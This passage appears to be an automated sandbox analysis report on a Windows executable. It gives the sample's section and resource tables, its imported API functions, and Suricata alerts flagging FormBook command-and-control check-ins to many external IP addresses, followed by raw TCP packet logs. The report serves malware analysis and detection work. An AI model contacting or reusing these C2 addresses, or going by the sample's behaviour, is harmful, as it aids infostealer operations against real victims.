.data	0xcc000	0x706c	0x4800	53b9025d545d65e23295e30afdbd16d9	False	0.04356553819444445	DOS executable (block device driver @\273\)	0.5846666986982398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xd4000	0xd4730	0xd4800	5c662028dfbadfd7ddda2fd58077e9fb	False	0.9284214154411765	data	7.900006171123141	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1a9000	0x7594	0x7600	c68ee8931a32d45eb82dc450ee40efc3	False	0.7628111758474576	data	6.7972128181359786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xd4548	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xd4670	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xd4798	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xd48c0	0x10d8b	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9989130907351854
RT_ICON	0xe564c	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	Great Britain	0.42335561339169525
RT_ICON	0xf5e74	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	Great Britain	0.5058455361360416
RT_ICON	0xfa09c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	Great Britain	0.5346473029045643
RT_ICON	0xfc644	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	Great Britain	0.6055347091932458
RT_ICON	0xfd6ec	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	Great Britain	0.7225177304964538
RT_MENU	0xfdb54	0x50	data	English	Great Britain	0.9
RT_STRING	0xfdba4	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xfe138	0x68a	data	English	Great Britain	0.2735961768219833
RT_STRING	0xfe7c4	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xfec54	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xff250	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xff8ac	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xffd14	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xffe6c	0xa8360	data			1.0003207584413172
RT_GROUP_ICON	0x1a81cc	0x5a	Targa image data - Map 32 x 3467 x 1 +1	English	Great Britain	0.7888888888888889
RT_GROUP_ICON	0x1a8228	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x1a823c	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x1a8250	0x14	data	English	Great Britain	1.25
RT_VERSION	0x1a8264	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x1a8340	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	gethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
WININET.dll	HttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
USERENV.dll	DestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, IsDebuggerPresent, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, GetCurrentThread, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, ResetEvent, WaitForSingleObjectEx, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, CloseHandle, GetFullPathNameW, GetStartupInfoW, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, SetLastError, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetCurrentDirectoryW, FindNextFileW, WriteConsoleW
USER32.dll	GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, ClientToScreen, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, LockWindowUpdate, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, TrackPopupMenuEx, GetMessageW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, DispatchMessageW, keybd_event, TranslateMessage, ScreenToClient
GDI32.dll	EndPath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, GetDeviceCaps, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, CreateCompatibleBitmap, CreateCompatibleDC, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, SelectObject, StretchBlt, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StrokePath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegCreateKeyExW, GetSecurityDescriptorDacl, GetAclInformation, GetUserNameW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW
SHELL32.dll	DragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, VariantChangeType, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysStringLen, QueryPathOfRegTypeLib, SysAllocString, VariantInit, VariantClear, DispCallFunc, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, SafeArrayDestroyDescriptor, VariantCopy, OleLoadPicture

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-09T16:47:27.947178+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49745	194.9.94.85	80	TCP
2025-01-09T16:47:43.571002+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49746	198.58.118.167	80	TCP
2025-01-09T16:47:46.253735+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49747	198.58.118.167	80	TCP
2025-01-09T16:47:49.930634+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49748	198.58.118.167	80	TCP
2025-01-09T16:47:52.606616+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49749	198.58.118.167	80	TCP
2025-01-09T16:47:58.492477+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49750	104.21.96.1	80	TCP
2025-01-09T16:48:01.112784+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49751	104.21.96.1	80	TCP
2025-01-09T16:48:03.753364+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49752	104.21.96.1	80	TCP
2025-01-09T16:48:06.419387+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49753	104.21.96.1	80	TCP
2025-01-09T16:48:11.979736+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49754	199.192.21.169	80	TCP
2025-01-09T16:48:14.679447+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49755	199.192.21.169	80	TCP
2025-01-09T16:48:17.382857+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49756	199.192.21.169	80	TCP
2025-01-09T16:48:20.081388+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49757	199.192.21.169	80	TCP
2025-01-09T16:48:35.800443+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49758	47.83.1.90	80	TCP
2025-01-09T16:48:38.696763+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49759	47.83.1.90	80	TCP
2025-01-09T16:48:41.499193+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49760	47.83.1.90	80	TCP
2025-01-09T16:48:44.345642+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49761	47.83.1.90	80	TCP
2025-01-09T16:48:49.795815+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49762	76.223.54.146	80	TCP
2025-01-09T16:48:52.454031+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49763	76.223.54.146	80	TCP
2025-01-09T16:48:55.135738+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49764	76.223.54.146	80	TCP
2025-01-09T16:48:57.804012+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49765	76.223.54.146	80	TCP
2025-01-09T16:49:05.970373+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49766	160.25.166.123	80	TCP
2025-01-09T16:49:08.852586+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49767	160.25.166.123	80	TCP
2025-01-09T16:49:11.747863+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49768	160.25.166.123	80	TCP
2025-01-09T16:49:14.627559+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49769	160.25.166.123	80	TCP
2025-01-09T16:49:20.046310+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49770	104.21.13.141	80	TCP
2025-01-09T16:49:22.706080+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49771	104.21.13.141	80	TCP
2025-01-09T16:49:25.350992+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49772	104.21.13.141	80	TCP
2025-01-09T16:49:27.995965+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49773	104.21.13.141	80	TCP
2025-01-09T16:49:42.592031+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49774	136.243.64.147	80	TCP
2025-01-09T16:49:45.344603+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49775	136.243.64.147	80	TCP
2025-01-09T16:49:48.123081+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49776	136.243.64.147	80	TCP
2025-01-09T16:49:50.871491+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49777	136.243.64.147	80	TCP
2025-01-09T16:49:56.894044+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49778	202.95.11.110	80	TCP
2025-01-09T16:49:59.710386+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49779	202.95.11.110	80	TCP
2025-01-09T16:50:02.566506+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49780	202.95.11.110	80	TCP
2025-01-09T16:50:05.566422+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49781	202.95.11.110	80	TCP
2025-01-09T16:50:11.048802+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49782	76.223.54.146	80	TCP
2025-01-09T16:50:14.734267+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49783	76.223.54.146	80	TCP
2025-01-09T16:50:17.419595+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49784	76.223.54.146	80	TCP
2025-01-09T16:50:20.090490+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49785	76.223.54.146	80	TCP
2025-01-09T16:50:25.749494+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49786	103.106.67.112	80	TCP
2025-01-09T16:50:28.452346+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49787	103.106.67.112	80	TCP
2025-01-09T16:50:31.151068+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49788	103.106.67.112	80	TCP
2025-01-09T16:50:33.855509+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49789	103.106.67.112	80	TCP
2025-01-09T16:50:39.403064+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49790	104.21.112.1	80	TCP
2025-01-09T16:50:42.056631+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49791	104.21.112.1	80	TCP
2025-01-09T16:50:44.773237+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49792	104.21.112.1	80	TCP
2025-01-09T16:50:47.745209+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49793	104.21.112.1	80	TCP
2025-01-09T16:51:04.493043+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49794	194.9.94.85	80	TCP
2025-01-09T16:51:09.800196+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49795	198.58.118.167	80	TCP
2025-01-09T16:51:12.475652+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49796	198.58.118.167	80	TCP
2025-01-09T16:51:15.148193+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49797	198.58.118.167	80	TCP
2025-01-09T16:51:17.815683+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49798	198.58.118.167	80	TCP
2025-01-09T16:51:23.504673+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49799	104.21.96.1	80	TCP
2025-01-09T16:51:26.157606+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49800	104.21.96.1	80	TCP
2025-01-09T16:51:28.855881+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49801	104.21.96.1	80	TCP
2025-01-09T16:51:31.459454+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49802	104.21.96.1	80	TCP
2025-01-09T16:51:36.844192+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49803	199.192.21.169	80	TCP
2025-01-09T16:51:39.544390+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49804	199.192.21.169	80	TCP
2025-01-09T16:51:42.254723+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49805	199.192.21.169	80	TCP
2025-01-09T16:51:44.941798+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49806	199.192.21.169	80	TCP
2025-01-09T16:51:59.430233+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49807	47.83.1.90	80	TCP
2025-01-09T16:52:02.291301+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49808	47.83.1.90	80	TCP
2025-01-09T16:52:05.102104+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49809	47.83.1.90	80	TCP
2025-01-09T16:52:07.952797+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49810	47.83.1.90	80	TCP
2025-01-09T16:52:14.256758+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49811	76.223.54.146	80	TCP
2025-01-09T16:52:16.935495+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49812	76.223.54.146	80	TCP
2025-01-09T16:52:20.616692+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49813	76.223.54.146	80	TCP
2025-01-09T16:52:24.321770+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49814	76.223.54.146	80	TCP
2025-01-09T16:52:30.038048+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49815	160.25.166.123	80	TCP
2025-01-09T16:52:32.922872+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49816	160.25.166.123	80	TCP
2025-01-09T16:52:35.806472+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49817	160.25.166.123	80	TCP
2025-01-09T16:52:38.691764+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49818	160.25.166.123	80	TCP
2025-01-09T16:52:46.995877+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49819	104.21.13.141	80	TCP
2025-01-09T16:52:49.654907+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49820	104.21.13.141	80	TCP
2025-01-09T16:52:52.329252+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49821	104.21.13.141	80	TCP
2025-01-09T16:52:54.955659+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49822	104.21.13.141	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 16:47:27.447846889 CET	49745	80	192.168.11.20	194.9.94.85
Jan 9, 2025 16:47:27.692989111 CET	80	49745	194.9.94.85	192.168.11.20
Jan 9, 2025 16:47:27.693335056 CET	49745	80	192.168.11.20	194.9.94.85
Jan 9, 2025 16:47:27.697716951 CET	49745	80	192.168.11.20	194.9.94.85
Jan 9, 2025 16:47:27.938944101 CET	80	49745	194.9.94.85	192.168.11.20
Jan 9, 2025 16:47:27.946897030 CET	80	49745	194.9.94.85	192.168.11.20
Jan 9, 2025 16:47:27.946958065 CET	80	49745	194.9.94.85	192.168.11.20
Jan 9, 2025 16:47:27.947000980 CET	80	49745	194.9.94.85	192.168.11.20
Jan 9, 2025 16:47:27.947042942 CET	80	49745	194.9.94.85	192.168.11.20
Jan 9, 2025 16:47:27.947077990 CET	80	49745	194.9.94.85	192.168.11.20
Jan 9, 2025 16:47:27.947110891 CET	80	49745	194.9.94.85	192.168.11.20
Jan 9, 2025 16:47:27.947177887 CET	49745	80	192.168.11.20	194.9.94.85
Jan 9, 2025 16:47:27.947487116 CET	49745	80	192.168.11.20	194.9.94.85
Jan 9, 2025 16:47:27.948995113 CET	49745	80	192.168.11.20	194.9.94.85
Jan 9, 2025 16:47:28.194060087 CET	80	49745	194.9.94.85	192.168.11.20
Jan 9, 2025 16:47:43.276828051 CET	49746	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:43.419222116 CET	80	49746	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:43.419470072 CET	49746	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:43.426031113 CET	49746	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:43.570617914 CET	80	49746	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:43.570664883 CET	80	49746	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:43.571002007 CET	49746	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:44.941580057 CET	49746	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:45.958285093 CET	49747	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:46.100745916 CET	80	49747	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:46.101068974 CET	49747	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:46.107495070 CET	49747	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:46.253424883 CET	80	49747	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:46.253473997 CET	80	49747	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:46.253735065 CET	49747	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:47.612878084 CET	49747	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:48.629467964 CET	49748	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:49.642414093 CET	49748	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:49.784409046 CET	80	49748	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:49.784555912 CET	49748	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:49.788150072 CET	49748	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:49.788182974 CET	49748	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:49.930330992 CET	80	49748	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:49.930634022 CET	49748	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:49.930732012 CET	80	49748	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:49.930742979 CET	80	49748	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:49.930962086 CET	49748	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:50.073246956 CET	80	49748	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:50.073293924 CET	80	49748	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:50.075325966 CET	80	49748	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:50.075371027 CET	80	49748	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:50.075572968 CET	49748	80	192.168.11.20	198.58.118.167
